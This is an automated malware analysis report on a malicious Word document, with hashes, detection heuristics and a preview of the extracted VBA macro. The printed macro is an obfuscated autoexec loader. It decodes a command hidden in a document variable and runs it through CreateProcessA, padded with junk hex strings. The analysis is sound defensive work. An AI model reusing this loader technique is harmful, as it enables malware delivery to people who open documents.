Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a46ec8b2ef3c5878…

MALICIOUS

Office (OLE)

150.0 KB Created: 2018-03-02 17:50:00 Authoring application: Microsoft Office Word First seen: 2018-03-24
MD5: a5e0bbcbeaa23de10d18232c383cdbe7 SHA-1: 1364392fa334eaf6849c1620cdf2e42167cf7dd3 SHA-256: a46ec8b2ef3c5878a8873390504b4fba1ef2254f96a7817dcb01aa4af047a231
200 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Office document containing VBA macros. It exploits CVE-2007-3899, a memory corruption vulnerability in Microsoft Word, which is indicated by the 'CVE_2007_3899' heuristic firing and the reference to the CreateProcess API. The VBA macro code, though partially obfuscated, contains declarations for the CreateProcessA API, suggesting its use to execute a payload. The ClamAV detection 'Doc.Downloader.Valyria-6666912-0' further supports the downloader functionality.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim BV_CGK As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim M_YQ As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22188 bytes
SHA-256: 252f3a4919f0132a681084a3090e20e7802c422d2d9198f891e1c8266a875056
Detection
ClamAV: No threats found
Obfuscation or payload: likely
63 of 124 identifiers look randomly generated (e.g. 'C4C4C7A4C4C4C4C4F4C384C3F414C3D88484C4C3') — consistent with name-mangling obfuscation. Carved artifact contains 57 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type LXT_CB
        FW_C As LongPtr
        ED_QOG As LongPtr
        GD_CRJ As Long
        ZED_EO As Long
    End Type
        Private Type NAU_AH
        JI_T As Long
        P_CTA As String
        JRT_ETJ As String
        E_OYR As String
        W_AYW As Long
        O_VS As Long
        BI_YN As Long
        E_JZ As Long
        DGA_A As Long
        SU_G As Long
        M_ANT As Long
        VU_W As Long
        NE_T As Integer
        JU_N As Integer
        P_CTA2  As LongPtr
        N_Y As LongPtr
        XFV_JF As LongPtr
        I_B As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal YK_T As Long, ByVal ZPG_M As String, GXL_TKL As Any, M_QWM As Any, ByVal FV_GB As Long, ByVal EO_F As Long, ByVal SXQ_Z As Any, ByVal Z_HL As Long, KA_TY As NAU_AH, BRI_SH As LXT_CB) As LongPtr
    Private Type Y_MCU
        L_DQ As Long
        Z_CZ As LongPtr
        SOE_QJ As Long
    End Type
#Else
    Private Type NAU_AH
        JI_T As Long
        P_CTA As String
        JRT_ETJ As String
        E_OYR As String
        W_AYW As Long
        O_VS As Long
        BI_YN As Long
        E_JZ As Long
        DGA_A As Long
        SU_G As Long
        M_ANT As Long
        VU_W As Long
        NE_T As Integer
        JU_N As Integer
        P_CTA2 As Long
        N_Y As Long
        XFV_JF As Long
        I_B As Long
    End Type
    Private Type LXT_CB
        FW_C As Long
        ED_QOG As Long
        GD_CRJ As Long
        ZED_EO As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal YK_T As Long, ByVal ZPG_M As String, GXL_TKL As Y_MCU, M_QWM As Y_MCU, ByVal FV_GB As Long, ByVal EO_F As Long, ByVal SXQ_Z As Long, ByVal Z_HL As Long, KA_TY As NAU_AH, BRI_SH As LXT_CB) As Long
    Private Type Y_MCU
        L_DQ As Long
        Z_CZ As Long
        SOE_QJ As Long
    End Type

#End If
Public Sub Document_Open()
Dim BV_CGK As String
BV_CGK = "4C4C764C4C486A4C4C47244C604C2C25104C194C884C824C4C4C4C4C4C4F4C754C4C254A3D4C89524C4C4C4C4C4C1A4C3A4C4C414C684C174C3D5E4C35394C2D3B4C4C4C524C504C4F454C144C4C424C473F4C4C4C4C4C334C176B387F8278584C4C5A4B154C871B4C2E2661704C144C294C4C4C127F7D4C2B834C474C25534C4C68644C4C4C4C4C4C4C4C684C15102C1B884C7E534A696F2D"
Dim HO_SJO As String
HO_SJO = "4C4C4C4C4C4C5A4C144C464C3230584E4C4C4C56C04C4474164C506822277F4F4C4D4C864C4C4C614C804C4C644A3D4C4C4C266A4C6E142D4C1B17394C874C655C4C4C4C1E4C4C4C307B4C2D801338604C4C35856E537E4C204C574C4C4C0F384C814C75434C83317B4C4A4C4A4C4C100E4C4C4C3D4C69624C4C6A4C553A37784C4C4C794C2A4C80111786164C7125534C391E314C4C4C4B1F"
Dim JYU_HO As String
JYU_HO = "4C4C2586324C1F3A4C354C4C4B4C1777384C145F8A246752704C0E26534C4C193B4C4C4C674C4C4C4C20498A4C734C134C4C4C4C4C794C4C234C4C4C4C4C704C754C4C301C4C4C55694C112B4C4961204C4C4C2E50273A584C816E134C4C544C4C534C4C4C3C1C4C4C4C748A186F53714C674C7932814C4C394C4E6C1A4C534C7A714C3D4C8B4C634C4C871F274C2477734F4C2D6F18172E0F"
Dim Y_GX As String
Y_GX = "4C6E3B4C4C443F4C4C4C85324C4C7D2B4C171B27774C554C6210635A0E4C324C4C412A4C4C264C542A454C6E4C4E774C4C51230D1F4C2C4C4C2162404C4C5D4C4C7A4C4C4C8B4C804C4C3E4C4C214CAA4C7B324C4C21684C4C4C707883658A4C474C4C4C4C4C484C584C4C4C4C714E4C26172F4C77164C4C81554C241C684C4C6121824D4C4C4C4C3F4C6F4C34784C334C4C5F79424C743D43"
Dim UOD_QXR As String
UOD_QXR = "475C8A4C318A4C72214C4C4C0D4C2740374C4C4C73154C4C5215264C4C4C51174C4C66331B277F8B1F4C444C0D4445184C894C544C114C454C587D4C4A4C4C3E794C114C4C414861464C1F514C4C4C244C4C4C744C2E8C4C3F4C4C884C4C4C4C6C13584C614E8C1B4C7C894C23774C23324C757A12634C2E4C154C5980154C82134C4C4C48735851654C4C0F4C814C4C4C624C306E4C153136"
Dim OW_VV As String
OW_VV = "134C464C4C82734C8A1D4C544C4C2A364C4C3D2C4C414D4C842A7770214D877A64414C1F844C3258187E714C4D7821134426584C172B834C4C56644C4C754C7B4C4A4C4C174C214C4C20824C6D74444C62694C333B855A2351254C5A4C5C85164C7E4C0F4C534C4C124C1D4C4C4C4C891F4C4C434C4C4C6E4C4C2A4C4C4C79484C414C1C6E632D867563794C4C2447334C4F8A4C3E531F254C"
Dim YXA_NU As String
YXA_NU = "16754B4C886849774C4C4C4C4C414C4C4C4C3E4C7E124C4C4C654C5D4C862E4C5E644C4C4C4C3D414C6769861E7A556E785A864C4C6F4C544C105A264C504C4C528A534C44184C0E4C4C4C3C364C4C4C5E384C4C8C4C4C3D54694C4C274C244C4C4C4C0F4C414E4C4C284C4C4C2B4C254C374C24224C4C4C834C2B4C4C4C4C86194C4C402A4C4C24704C4C354C4C484C5A4C4C4C133F555151"
Dim HJ_YTD As String
HJ_YTD = "4C414C8C55314C2A114C8B3A564C6F4C4C4C4C164C4C724C134C134C674C4C644C5E4C884C4C4C4C4C434C4C4C4D374C4570898A4C794C4C4C4C194C614C154C4C718C8B421A4F1A124C4C4C4C4C7B6F4C4C7F684C377C1C4C2C4C85657A4C4C364C4C4C314C3B7B478973422E594C314C4D4C4C57144C4C7C4C224A4C4C2D4C7A4C454C4A4C4C102D5E4C474C585D4C4C244C4C684C4C134C"
Dim HCK_FM As String
HCK_FM = "4C253E7C4C4C216C4C184C4C0F4C4C364C074C4C7C4C4C54734C4C3F4C0E4C4C4C4C334C79514C4C214C4C4C4C4F234146604C8C374C4C4C5E4A4C29874C484C85394C4C3A4C4C174C42674C4C4C4C604C693F3E6B21664C2814124C4C174A1F804C50184C4C814C4C7F69864C4C6733334C544C47671F854C4E4C764C4C4C89894C1D4C4C724C4C764C474C66487B814C4C8B4C514C554C4C"
Dim WE_IUS As String
WE_IUS = "674C3F4C4E4C4C4C3E5B27227763334C1F5D5F2C7C2C4C4C854C4C204C454C4C344C3B734C13352A7C4C354C606B478A64793E764C4C487A6C49894C4C474C4C304C344C0D1934424C4C4C4C8C274C644C4513650E6A454C4C374C354C4C3C6E3D7C4C624C78324F4C254C514C4C2E4C4C0F4C3F2F4C7C414C4C4F88194C2E4C505C4C4C0F324C4C234D51674C3D574C4C4C4C4C4A3B1A4C2F"
Dim JMN_OPQ As String
JMN_OPQ = "2D4C4C4C2C4C8A4C4C834C4C4C431D294C59224C4C4C4C4C4C4B4C4C214E4C4C4C63424C5C4C324C3E4C4C3E4C4C4C5E3A1E394C194C431855123E4C2F4C7D5C4C304C4C0D1F4C613385614C4C760E4C6756681022474C542D374C576850874947764C4C45705D27524C784C5355464C104C4C4C7A477C677E6C4C6A4C4C4C4C244C754C71654C4C4D4C494C410E4C4C4C534C4C4C4C4C3B24"
Dim YV_CJN As String
YV_CJN = "4F4C11884C4C4C4C3B4C4C4C4C554C4C654C4C4C327D4C4C484A3368804C464C2F4C4C894C4C69524C4C4E2D4C7F384C582B3D832A63894C424C4C6F484C4C4C3F8A4C4C714C4C674C4C53FC4C4C4C4C354C15611147834C59814C4C6F254C4C4C374C4C6983774C284C4C434C4C4C754C4C4C4C8589358B4C4C4C84324C4C4616761C794B4C6885467C4C4C1E4C4C874C4C4C4C4C4C724C4C"
Dim J_WUW As String
J_WUW = "384C4C7C418C4C894C4C4C6E4C224C154C4C79CB104C704C1F4B4D4C4C146E4C3D4C4C594C84564C278C6D4C204C314C51897D38794C4C18447A68494C4C4C4C286D531A154C354C854C4C8B10634C65291A4C4C4C4C364C4C225F291A322F4C6D4C4C4C244C4C61884C4C4C35154C7B102C4C7A751B4C4C2A2A214C4C4C784C4C4C4C584C12794C43824C2A784C4C414C264C6E4C2F5E15234C4C4C4C8C4C54124C42722230572765853F4C4C8C4C6336724C8B4C1F4C5D4C4243184C4C4C4C24804C4C2C4C4C4C16484C794C4C704C4C4C4C4C4C72215F4C211C848C874C"

    X_FE
End Sub
Public Sub X_FE()
Dim JRX_W As Y_MCU
    Dim EJB_GJ As Y_MCU
    Dim OZ_OXN As NAU_AH
    OZ_OXN.VU_W = &H1&
    Dim DV_J As Long
    DV_J = &H20&
    Dim F_U As LXT_CB
    Dim CK_XNC As String
CK_XNC = "704C4B6D4C774C4C175C51854C4C57813E520D124C4C4C0F254C4C4C3D4C364C814C4C6A4C0F394C824C4C4C4C4C4C554C1E4C6B4C6E4C4C0D4C6238334C114C4C4C3B25804C7A4C5D7F494C504C5034244C234C3A4C2C777E4C4C3F844C174C4C4C686A4C4C7A4C4C1D60684C4C471E101B4C4C2C4C4C7C754C4C48814C74713B81554C2B7D5551774C4C1C4C4C6A2D8086714C33774C4C5E4C4"
Dim EVI_BRK As String
EVI_BRK = "C555B554C4C4C554C39714C424C4C4B124C4C4C254C270E5B10874C5B4C4C4C4C4C7E4C294C4C252A4C784C1C4C3C514C4C71571C677A493A5A4C4C881E4C20414C2F57404C2F6E544C3B334C4C4C434C74864C4C808A424C4C4C4C194C644C4C754C1D4C4C0F4C7F4C4C1B14684122526E4C4C4C4C4C4C4C1D604C4C4C4C134C7378694C324C4C8333664C334C80824C644C4C4C4534241E4C7E"
Dim IR_Z As String
IR_Z = "574C804C4C454C4C4C322C4C4C306D6F4C364C574C4F4C2F1C253A4C4C4C204C3E387C4C4B4C4C314C4C4C4411134C4C744C4C464C4C154C4C4C2C815C425A194C4C4C4C898A674C33684C3D7C2B158B62454C4C4C4E4C304C264C174C40747B3845534C4C4C8C4C5D7E42704C697F4C4C2B234C703F4C2D4C5A6F4C5D2682344A4C504C4C4C7C5A33634C4C764C164C485A3B4C2A4C184C4C324"
Dim T_LKC As String
T_LKC = "C4C4C4F444C1A324C264C4C764C75194C4C4C20504C4C0F4C4C17714C56454C1B4C4C83215E4C684C3F4C4C60774C617D4C5D4C7C4C624C294D5826104C2D4C616B4C4C0F4C4C644C68851E0E4C0D4C4C4C5239604C4C674C124C654C1E4C664C175E8A134C18214E514C434C4C255A4C744C1C3E6F652C4C315E3A0F4C4C394C4C4C4C70834C0E47251E490F3150474C171A4C4C564C5D4C3F4C"
Dim BG_ZX As String
BG_ZX = "4C4C1E4C514C4C4C4C2F4C624C4C4C255E282A804C234C4C4C623A4F4C89513E4C4C6769147C4C5B877A4A8B2E4C4C38814C4C4C217E0E4C5F271D4C734C4C4C4C87851E4C314C4C804C194C4C6E0F4C59894C292C4C4C174C6B154C204C4C4C764C1A4C4C4C2A7F53854C4C5250434C4C4C4C113D4C4C254C7B314C28124C4C2A797A4C615E4C6C484C4D2076358752884C4C7C4C5A4C0D4C824"
Dim S_UG As String
S_UG = "C634E4C4C4C4C4C5B463E4C4C4C4C4C4C4C87684C4C774C734C4C4C6B5E524A4C4C214C884C4C4C4E204C291F87165D2A704C4C4B4C4C354C3F4C444C4C4C4C4C1D3D4C4D2E4C4C4C6C4C4C4C604C4C564E4C6E4F4C3B204C4C561D4C327340408740774C734C4F335F4C634C804C4C664C774C4C2D6C644C294C744C1A684C864C5F2C254C4C714C484C4C4C4B844C774C4C4C4C4D20284C4C75"
Dim CNP_ID As String
CNP_ID = "817686526F6A684C4E4C42544C7C4C154C4C7B4C204C39467C44504C0E874C4F4C4C74874C544C8222414C4C3B4C5B4C4C4C4C4C4C3E4C3E2F4C74874C4C195212304C324C4C4C464C4C4C774C4D4D4C4C1C304C4C534B854C564C114C3E4C3F355E4C184C354C4C4C460F40644C4C4E4C4C4C81574C4C594C51494C674C4C4C4F505A424C4C2A4E4C4F1A48515A4C4C4C104C2F7F4C1441344C4"
Dim KD_YGO As String
KD_YGO = "C4C4C4C6C4C547422664C18444C4C8B4C144C4C143F4C6B45634C664C48251B16307B4C4C4C724C4C4461564C4C4C4C4C4C4C8B4C8224544C16BA1A4C2A894C3B4C224C4C31584C374C4F224C4C4C4C724C494C4C824C6461294C534C434C4C674C1E0D4C454C76874C3F3B8CEC4C4C4C4C7A4C4C4C584C79675718554C4C81604C6E684C183F4C2F4C664C334C634C584C7E4C354C4C6B1B3D4C"
Dim P_W As String
P_W = "4C734C414A615F8C4C4C4C4C48784C4C4C4C404C4C6F8815354C4C7E4C4C734C0F4C454C5C634C7E4C664C434C4C244B4C4C4C4C204C4C184C4C4C4F4C4C4C407037414C6E214C164C4C792B4C40411E4C2F644C4C4C494C4C5A4C364C6D4C15174C4C804C12864C418A1F4C4C814C864C6F4C694C4C4C4C204C4C7C855A71204C664C4C4C4C7D404C4C4C5D4C4C4C4C4C4C3A6F1E4C4C55721F8"
Dim DZL_ZAN As String
DZL_ZAN = "B1B4C77486D4C604C304C4C795C4C754C794C4C124C88634C4C7E54494C4C4F4C4C314C274C4C4C4C821E1C4C204C29474C4C80854C2B214C864C18888B4C4C4C87375C5A4C89141C1A4C12514C336B822C774C7B47854C4C134583104C89568C7B2D524C4C576D4C70774C254C4C60344C68204D404C0F4C8B544C13114C4C804C4C4C824C5E2D624C4C1A4C446C304C4C2D424B477A5067104C"
Dim WL_II As String
WL_II = "4C664C4C4C664C4C5C7F4C4C174C4C4C4C4C4C1C664C354C7E4B554C284C284C4C4C4C0D4182354B1D4C3657234E5F4C4C5C4C4B8444834C467527556A414C4C4D714C4C574C4C563F4C60684C4C4C5B4C4C5F644C494C4C674C4C4C4C4C4C4C6F4C5C4C4C4C514C4C1A2B5F784C4C220F4C1A7886214C4C4C7A627A4C4C2C4C4C4C3E1B4C754D4C4C494C813E64894C4C4C4C864C4C6C4C4C3E3"
Dim FO_RK As String
FO_RK = "64C4C4C7A4C4C4C4C4F4C384C3F414C3D88484C4C344C5D4C4C3F304C364C4C5D784C444A4C13684C4C4C4C374C7B744C4C47524C4E0E4C304C1F4C5A4C4C7E874C8370814C78654C4C324C4C5932824C4C6B374C5A4C4C2A4C4C4C63784C394C77435D4C714C4C864C610F4C4C4C614C2A8954764C6436894C4C4C4C4C5D4C314C494C4E4A6A1261274C164C4C4C5A814C3C4C5B4C7B4817224C5B4C83551A4C4C3C4C4C124C5E4C714A5D7F473F4C79754C4C4C4C4C0D4C38831C434C4C4C804C5D30794C4C77793F3E4C4C7B6F1A80780D694C264C4C4C1D4F4C4C774C4C4C4C4C4C4C4C3741686122425D4C4C4C6B6C804B4C174C4C124C344C4C4C734C484C4C6F818A804C34534C4C4C3B4C4C19324C6E404C814C4C6D10814C4C4C4C213C4C7E684C"

   Dim N_S As String
   Dim ABS_NV As String
   Dim M_XF As Long
    Dim ELZ_X As String
    ELZ_X = ActiveDocument.Variables("9T55RB").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, N_S, JRX_W, EJB_GJ, False, DV_J, 0&, 0&, OZ_OXN, F_U)
    GoTo x3
x3:
    Exit Sub
x2:
Dim HU_EAG As String
HU_EAG = "1E4C754C4C4C4C4C52204C4C4C4C4C2238424C4C4C741B4C4C4A604C214C4C3828474C4C4C4C4C685062294C484C4C4C4C4C192115294C87363E5056414C2C2F4C4C4C52464C5C4C2636314C4C5A4C4C884C27194C241F2A2C4C4C706349334C424C4C624C1542334C4C4C194C4C4C4C7D4C1F6B4C894C324C4C4C4C0F884C4C674C4C4C"
Dim DWO_WL As String
DWO_WL = "2F1E4C294032204C4C4C7B4C35304C6E3C167A4C4C564C2C4C894C244C4C4C4C5A7B484C82564C1F0F75424C7B595F6D254C4C4C8846554C144C634C4C4C614C4C754C4C4C4C4C7E674C6D214C4C4C36354C4C39197821334C4C854C4C712160184C4C85491A4C652D5F4C8660594C8B6E4C4C4C28614C47307F4C4C594C4C4C4C4C4C87"
Dim YTG_T As String
YTG_T = "774C584C4B4071393A7D334C544C4D4C114A264C4C4C5B4C4C4C4C254C4C5E57244C62134C524C1D4C4C122F744C2A4C7F4C4C4C4C4C884C4C224C824C4C61354C4C4C436762144C1E4C4C504C4C6D4B3F7F4C474C4C4C124C4C4C434C1C4C4B112D4C495C4C4C23664C1B4C8135272F434C4C4C4C336A4C4C614C63457A494C4C128B4C"
Dim LWC_AIE As String
LWC_AIE = "0F4C4C2431884C4C4C4C804C784C2B4C345D4C4C4C4C4C4B4C4C2B7C4C4D4C414C4C4C4C65124C544C4C7B2A4C4C4C4C234C7E4C274C544C26284C2E4C624C4C574C40314C4C434C8C1D8A4C4C8A4C17370E4C4C8C4C4C284C498A4C8B770F4C4C13153A794C224C66441E4C4C16724C384C146C804C11244C591A4C16211A4C4C824C4C"
Dim I_M As String
I_M = "454C4C464C6958174C804A4C4B454C804C3335615F4C4C2B4C5136444C124C4C2D4C4C37324C4C4C194C4C4C63574C4C4A4D4C5B72564C2F102872242F4C204C4C724C58677F5B184C7C544C384C4C4A7B614C4C1D537F4C1A4C33162E7A4C464C4C4C874C4C4C4C0F4E4C4C60344C4C4C814C4C4C4C4B4C58524C414C1B16444C4C4C4C"
Dim DA_AH As String
DA_AH = "3B4C334C894C4C4C6F4C4C4C4C6C32662D4C4C594C8C4C4C842A4C444C4B884C4C4C4C804C834C7F4C4C4C7E1B4C4C4C714C4C4C4C0E342E6B4C123146714C4C6B4C2E4C4C4C0E4C281B131C52604C4C4C3B4C4C4C594C24204C4C4C634C7F454C4C4C5060C94C264C25285C4C4C31584C8C4C4C4C507C4C4C394C794C4C584C4C5B2F7E"
Dim GHP_VUV As String
GHP_VUV = "4C4C4C404C4C854C4C864C1A4C634B4C6A0D4C4C4C4C542C4C4C855C7E484C56696A4C4C734C4C6E69896514824C1A4C4C76474C324C4C4C485C3539814C814C527872434C8C494C71614C252E4C4C4F4C4C2D4C2E4C4C4C4C4C5265453C144C4C76224C4C4C22394C584C4C894C634C614C4C4C4C324E3B464C5B425A674C6A4C4C4C27"
Dim OV_C As String
OV_C = "174C7C6F4C5A5A4C0E5F4C4F4C4C41207C4C75734C5571234C5C2F2B4C80584C4C4C4C2D424C4C4C4C4C4C4C17754C354C80244C4C3B7817587D53373B4C144C672B214C4C814C51717582864C4C4C0D403F4C7682224C4E564C4C624C801A75204C4C32183C4C134C4C4C6C4C44154C4C4C4C4C4C884C4C4C1C804C124C404C4C561B34"
Dim UF_Y As String
UF_Y = "4C7C8020584C47884C4C2E1E4C294C211348896D6A604C3B2D4C68612F50704C7D464C4C3D4C7D644C535F4C404C7F4C4C1B4C4C753985524C66714C334C4C694C4C4C4C4C32174C4C13704C4C894C4C4C50423F4C80514C534C4C664C3E794C4C264B1D4C534C104C4C6E4C4C76824C4C4C4C4C5C374C744C4E4441716D4C4C4C4C708C"
Dim RC_S As String
RC_S = "4C4C4D4C3E6B4C1E874C4C85464C4C4C397F4C5C4C4C32114C4C7C814C4C4C1F2A4C4C6C4C2A4C4C7E4C4C724C4C4C4C514C8926204C1C4C48156F4C834C4C2C6573294C3E84614C7E574C654C4C4C4C55156A774C664C2E304C4C4C734C514C1A654C4C321F5F34264C86618C4C524C314C494C4C4C754C138C1B4C2F186B844C4C774C"
Dim L_PBD As String
L_PBD = "4C4C434C425D694C8C4C4C743A4C4C4C4C4C2C4C2961114C4C4C4C274C4C184C354B134C184C4C6E7876794C4C7E874C434C3F384C664C614C874C4C4C6C4C4C6B4C4C474B4C8934304C377915214C6D4C4C684C4C5052294C1D194C4C4C1912296E4C4C274C114C4C664C4C4C394C114C4C854D4C2B664C7C5F584C2B734C4C2D4C4D2B"
Dim LKX_OZ As String
LKX_OZ = "4C6F854C4C5865384C0F47143D314C4C4C4C70524C45218A4C11426E4C4C0349224C4C691A6C504C558823424C4C4C4C684C4C1537703A4C614C535B4C50874C4C4C0E314C100F164C734C4C46444C20564C4C414C704C7C185A6F4C4C4C4C4C234C894C4C4C4C474C4C1E4C274C4C48586A4C4C4C474C2E4C4C4C4C4C4C0F114E2E4C4C"
Dim CS_H As String
CS_H = "8C1913424C4C0E874C4C4C4C4C822A3A1D4C4C4C4C2E6551243F1C4C4C4C4C4C5D4C8A434C45297814324C44252B4C4C3E4C304C4C384C4C794C4C784C254C264C314C4C326C4C4A4C4C68194C20364C1D4C4C4C314C4C4C74764C794C415F2B574C6B33644C4C4C5F4C6C4C4C4E2E7D4C4C334C4C4C1B1C504C244C4C4C164C264C5C3B"
Dim OTJ_G As String
OTJ_G = "23176B4C4C2D774C7C578C604C4C804C4C25554C4C4C4C752E847E4C83762D4C4C29853A174C6C534C4C77804C4C4C2C4D4C144C54464C774C4C4C211A4C4C6B4C4C4C4C4C8C364C4C4C354E4C4C4C874C4C434C2630804C4C4C70534C58454C4C194C4C28515E4C83705D4C1E62794C4C8C4C4C4C25518A604C2617294C4C4C5C844C4C"
Dim SE_BCI As String
SE_BCI = "4C3B6C573D835F4C4C4C63764C384C4C4C627A2F38544C4C77697B4C4C872B4C2C4767585C4C4C334C4C4C614C3B4C4C1C364C4C4A2C4C4C588353454C4C5712184C5F4C4C464C4C4C4C4C4C4C4C3B4C1D4C5E4C4C4C277E85134F40654C4C755BAF5C4C554C4C4C4E4C624C8B4C558635374C4C49367E4C374C4C84841A4C4C4C89376D"
Dim P_FE As String
P_FE = "6E4C4C4C294C4C4C4C4C4C5A4C1E4C3E7B4C4C4C7086414C4C684C4C4C4C4C364C724C4C52456F4C4C54667A4C4C4E671A7B4C73676A790E4C474C4C3B4C4C4C31B91E674C335C4C4C4C4C4C394C4C4C6F4C4C4C15274C4F664B4C6A4C8B4C551A403D4C70544C4C898C4C624C59374C4C464C6F364C4C4C754C1E4C87357B4C4C898770"
Dim GSS_DLJ As String
GSS_DLJ = "6F4C54744C244C4C1E4C4C864C4C524C4C4C47864C87854C14601E267E404C4C76714C787C1E24678188302C864C6E364C4C4C4C364C4C4C221C454C4C88822D4C346E6064834C854C118C6466702B4C4C40814C4C4C3389670F4C4C894C4C4C4C4C4C4C4C4C7F574C1E814C4C4C524C4C134C47204C4C3A4C294C1B4C4C4C674C694C1E4C4C4C7F604C4C4C4C1D4C3B4C4C4C01"

   For M_XF = 1 To Len(ELZ_X) Step 2
        ABS_NV = Chr("&H" & Mid(ELZ_X, M_XF, 2))
        N_S = N_S & Chr(Asc(ABS_NV) - 13)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim M_YQ As String
M_YQ = "4BF0523D4C424C4C624C72758A6E364C4C5D4C3A7D4C4CDE4C824C7B3C4C4C5E694C2A4C1B4C894C5D4C4C4C2A5E4C34234C4C3F856B434C28774C4C7B4C4C1D4C4C4C4C4C4C4C4C18294C4C312454254C554C4C4C4C424C4C274C224C4C2A4A1A4C4C7D643C4C4B4C4C384C1A8B524C4C634C4C3E444C4D4C4C4C2D4C4C3B4C664C4C474C4C4C675B3D2E4C764C814C4"
Dim CC_HGS As String
CC_HGS = "F834C4C4C184C4C4C6E2A4C484C4C4C634C4A4C4C144C4C254C264C4C5122502D5A4C4C4C4A1D4C3D4F4C384C3C4C4C4C4C354C134C4C4C4C4C4C324C4C72414C4C4C65394C4C4C2B884C4C4C2D4C35324C4C204C4C5B4C4C4C4C5E83414C4C1883174A4C664C4C2E5A2012314C4D564C104C4C4C4C3915524C0F4D1E4C4C202A4C4C4C4C3A4C4C4C4C784C154C3E0F4C"
Dim M_XGY As String
M_XGY = "4C794C4C414C4C841D4C574C1D734C7537281E4C207E294C5B4C2C8A457A4C90444C4C0F806D4C2B4C2A2148444C114C86234C384C4C4C444C4C4C558A4C114C4C4C4C724C4C324C43611578244C274C4C4C814C727A4C6E6C764A4C6C871D4C534C5B68484C694C4C4C4C4C4C184C4C4C4C4C770E424C365D4C4C4C4C4C4C4C2B4C3B693E25184C4C1A4C0D4C6A4C258"
Dim O_W As String
O_W = "66D174C6E5A324C4C194C4C244C4C564C89844C4C4C4C714C764C4B4C6A19844C224C8C154C4C19363B2D4C464C4C7D4C4C5C16741E4C664C163C264C4C6A4C2D794C3D554C4C4C7786887C4C384C4C4C683D7A4C7B4F104C32544C754C404C8B25894C4D4C0E2E784C4C6F4C4C664C4C544C4C114C374C522F4C2A88844C544C431F3F4C4E4C3B585E4C607B4C4C4C64"
Dim O_CCC As String
O_CCC = "4C674A764C86735F4C4C844C114C334C5A4C7B4C344C634C4C4C4C4C4C834C4C4C7F294C4C4C4C4C4C535679546F4C652D4C1E3A3D39114C4C3A4C88884A4C414B6216517C4C4C534C1D493C6A5D468B634C6D4C7A254C1C4C4C34726F15814415194C204C4C6B624C624C874C4C84584C3260514C4C4C536D3A4C4C4C81154C4C61504C774C4C3E174C24324C7D4C8A4"
Dim UV_AV As String
UV_AV = "C754A4C3C6F6C314C4C5C744C144C4C88404C4C8C6C1F4C4C4C4C4C4C5D4C4C8643604C4C4C2C4C62364C734C42464C4C6E57384C62294C6F604C176C856E4C4C4C251F4C204C4C36434C6F654C4C4C344C4C4C4C864C8A4C4C4C164C4C4C3C4C234C4C4C4C4C43734C2B4C43174C5D27444C79324C3E4C4C234C544C6F404C604C4E1E4C447E204C504C4C4C4C5B214C"
Dim XA_JE As String
XA_JE = "854C344C7F3965132A4C4C4C8B6D4C53784C6C4C4C834C4C34594C4C5E793F0F4C816B4C65214C4C274C394C504C524C664C7B674C4C4C224C121958715B874C4C4C4C484C204C4C824C4C574C554C4C83284C4CF561884C874C1B4C4C4C4C4C1E4C164C52164C4C4C117343552F524C55634C4C0D4C7D4C48594C4D4C1F7D4C4C64403A79434C4C4F4C8354518C4C744"
Dim NS_PA As String
NS_PA = "C79394C254C7D35874C4C6F4D1B4C4C4C754C4C25761F4C334C4A4C4C534C4C4C1B4C504C4C744C114C4F0E4C4C4C864C4C5B6C664C4C6F4C4C3C414C394C744C225D284C4C3720844C4C4C4C244C284B4C4C4C594C4C5F4C184C4C4C4C4C4C4C6B34134C484C4C4C374C24744C4C4C4C5D4C356F4C2C4B4C4C6E57274C434C7B4C444C5C4C852E234C4C4D4C63514C4C"
Dim XQH_Y As String
XQH_Y = "4C724C4C424C3E4C4C3B35464C4C654C4C4C4C4C144C4C5E7F1F4C584C6F74EC6A7A564C453C13405F4C5C4C1E3E4C396A4C4C3C4C4C30144C4C894C4C824C424C58154C7F4C4C484C0E4C4C4C264061124C4C4C3A4C4C4C22352C6B4C4C804C4C546C314C3D444C4C4C0E4C684C354C4C4C4C14654C174C564C83713181234C4C4C4C3C744C4C3A464C204C4C4C604C4"
Dim GQL_X As String
